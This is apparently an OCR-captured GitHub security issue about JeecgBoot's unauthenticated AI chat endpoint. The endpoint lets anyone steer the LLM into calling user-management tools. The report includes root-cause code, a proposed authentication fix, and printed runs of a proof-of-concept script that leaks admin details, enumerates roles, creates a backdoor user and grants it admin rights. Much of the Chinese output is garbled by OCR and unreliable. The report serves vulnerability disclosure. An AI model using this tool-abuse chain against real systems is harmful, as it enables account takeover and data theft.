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Vulnerability Overview

The Al chat endpoint /airag/chat/send is annotated with @IgnoreAuth (the frontend route
/ai/app/chat/:appId also has ignoreAuth: true ), which is intentional business logic designed for
externally embedded Al chat.

However, when a user accesses the default Al application without specifying an appId , the
AiragChatServiceImpl.sendwithDefault() method does not verify the current user's authentication
status when loading default tools. This causes the 4 sensitive business tools registered by
JeecgBizToolsProvider.getDefaultTools() (add_user , query_user_by_name , query_all roles,

grant_user_roles ) to be exposed to unauthenticated users.

Vulnerable Code

Root cause: AiragChatServiceImpl.java — sendwithDefault() method
https://github.com/jeecgboot/JeecgBoot/blob/springboot2/jeecg-boot/jeecg-boot-module/jeecg-boot-module-
airag/src/main/java/org/jeecg/modules/airag/app/service/impl/AiragChatServicelmpl.java#L826-.828
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// Key code in sendwithDefault() I'_I.:I
if(chatConversation.getApp().getId().equals(AiAppConsts.DEFAULT_APP_ID)){
aiChatParams.setTools(jeecgToolsProvider.getDefaultTools());
// < No authentication check — anonymous users also get sensitive tools loaded

Impact

When the backend has a valid LLM API Key configured, an attacker can perform the following without any
authentication:

1. Information Disclosure — Query any user's phone number, email, and user ID
2. Role Enumeration — Retrieve all role IDs and codes in the system
3. Backdoor User Creation — Create a new user with a custom password via the add_user tool

4. Privilege Escalation — Grant admin roles to the new user via grant_user_roles , achieving full
system takeover

Prerequisite: The backend must have a valid LLM API Key configured

Suggested Fix

Add authentication verification before loading tools in sendwithbefault() :

if(chatConversation.getApp().getId().equals(AiAppConsts.DEFAULT_APP_ID)){ LE.]
aiChatParams.setTools(jeecgToolsProvider.getDefaultTools());
String currentUser = getUsername(SpringContextUtils.getHttpServletRequest());
if(oConvertUtils.isNotEmpty(currentUser)){
aiChatParams.setTools(jeecgToolsProvider.getDefaultTools());

+ + 4+ o+

A fix patch has been submitted, PR link: #9463

Error Screenshots:

Using the chat interface, the LLM is instructed to invoke the built-in tool query_user_by_name to query user
information for admin . The LLM directly calls this tool and returns all admin user information including: user
ID, phone number, email, and real name:
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like-Gecko) -Chrom
Content-Type: -application/json
Content-Length S Ak

[' content™:

A script can be used to extract the returned content:

C:\tmp>python poc.py -t http://127.0.0.1:31600/jeecgboot --query-user admin

JeecgBoot Pre-auth AI Chat Tool Abuse Exploit
Affected: < 3.9.1

Type: Pre-auth » Create Admin User » Full Takeover

[*] ERAF ‘'admin' MIE
[*] LT

B AE query_ r_by_name TEBEFHAF KA admnin A

[+] ITLM

ks SHAFPE A "adnin"WEFEE. REBWRSERE, BRSN "adnin"NBFE

FE: **

*%F P ID: ** e9ca23d68d884d4ebb19d07889727dae

**FHL S ** 18611111111
*%* jeecg@lé3.com
5 % EER

By sending questions to the chat interface via script, leveraging the Al built-in tools: query_all_roles to
query all role information, add_user to create a backdoor user Ancheor , and grant_user_roles to grant

admin privileges to the backdoor user Anchoeor :
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C:\tmp>python poc.py -t http://127.0.0.1:3100/jeecgboot -u Anch@Or -p Admin@202é

JeecgBoot Pre-auth AI Chat Tool Abuse Exploit
Affected: < 3.9.1
Type: Pre-auth > Create Admin User =» Full Takeover

[*] B#R: http://127.0.0.1:31600/jeecgboot
[*] B2 /5T =: Anch0Br / Admin@2026

[Step 1] BERESREAE ...
[*] REiEmxiE:
EfEA query_all roles TEBERESZTHEAE, 7JIHSI I AEBNABRER. ARID IABRRE, LLEBERAES.
[+] HTTP 200, LLM EE (650 =45F):
EXxEWRESPHEABCEE. REERSE, F5PAET1MAE. UTEFRFEABNEHESEEE:
| BEE®R | A8ID | AEREB |
[eee=es==se [e=eoee== [eeeecescas [
HIBFAEHE | 1169504891467464706 | dbadeveloper |
EXBHESBE | 1169504891467464707 | lowdeveloper |
Vue32 At | 1501570619841810433 | vued |
HRPREER | 1962488045068464130 | zuhuadmin |
Al | 1996463539853824001 | aiadmin |
ESEPIREAE | ce8626Ff80Ff7c2619917b6236F3a7f02b | test |
EEER | f6817f48af4fb3aftllb9e8bf182F618b | admin |
*AEBEE *x
. EERx - RGEESNEASR
HEFAPTEAB» - TERAFRILAR
PR EBER - HREBEEXURE
MEETEABY - HIEFTEBAXHKE
HERBRAEZHE» - BABFEBENR
kxVuedL B+ - VuedJT EHBXIE
7. *xAIN A B - AL FEXIE
XEAEITNATIRFRPSEAENNIBINEEH AR,
[+] EOMEERAE ID: f6817+48af4fb3aftllb9e8bF182T618b

N NI NP ——— — — — —

[Step 2] BIE/FIIAF 'Anchebr' ...
[*] EEXEmE:
BiEA add_user TE, FEEALITJISONEZH, FAFER(EMAE:
{"username": "AnchB80r", "password": "Admin@2026", "realname": "Z £l ", "phone": "13857944396"}
: BPEMMEZ AnchBOr, ZRMAZ Admin@2026, ZEIFFEAHAEMME.,
HTTP 208, LLM E& (317 =&):
EXEIEEREM—PHPBA"AncheOr"WAF., 78, EFNEBPZEH, REEEARBEXTMHPSESTEE
HHEEERN -—TEEEEEEAFPS A "Anchor"NEF : R, AP S "AnchfOr"HEIFAEFE. WEULERREE—

- AP 4% : AnchBor

- 25 Admin@2026

- BExiE 22l

- FHLE: 13857944396

FFrE2HBELERN—H, EEHITEAER.
[+] BFP 'Anchoor' 6lEHIH!

[Step 3] 4 'Anchobr' EFEBRMAE (f6817f48af4fb3afllb9e8bf182F618b) ...

[*] B

E@FE A grant_user_roles TE#SBEFPFEA Anchbr WEB P EFA®IDK f6817f48af4ftb3atllb9e8bfl82f618b MA R

[+] HTTP 200, LLM BEIE (386 =7F):

EIEIEEELAPFA"Acheer"NAFPETFABHRE, EEE# M grant_user_roles' THE, REEBHMEZ
UEEERE-THFPSA"Anchbbr"WNAFEE, FEERAFID: RF! REIATHFPS A "Anche0r"lNEFR. %A
WMAERTLUER grant_user_roles TESZAFPETABNRET. SEEFHN A B IDE f6817f48af4fb3atllb9
ﬁg%%: FIEI{TABEN, SEEESNENXE, BEEEHNER.
B % Bk I |

Login verification:
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X BRFEE

FF#S:  Anch00r

BFES: =2l

Is:

EEESR

g&: EEG

FrESR]:

R

Si5: o ZEAR 3

HEE: 1000
£ig:
© & jackieya added m 2 weeks ago
a evanmorgan1231-dotcom 2 weeks ago via email oo

C
Dear [Recipient Name],

Thank you for reporting the pre-auth tool abuse vulnerability (Issue #9464)
and for providing the detailed analysis and reproduction steps.

| have noted that the vulnerability resides in
AiragChatServicelmpl.sendWithDefault() where sensitive business tools are
exposed to unauthenticated users when a valid LLM API Key is configured.

| see that a fix has already been proposed in PR #9463. We will review the
patch and the suggested authentication check to ensure it properly secures
the /airag/chat/send interface while maintaining the intended functionality
for embedded Al chats.

Best regards,
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Evan Morgan

/ & jackieya changed the title ;
Unauthenticated Sensitive Tool Loading in Al Chat Interface last week

o Zzhangdaiscott last week Member =+

o jeecgai last week oo

FEEHBER , THRAAT.

@ J zhangdaiscott closed this as completed 5 days ago

S NI[oN{o]&{{=cMN to join this conversation on GitHub. Already have an account? Sign in to comment
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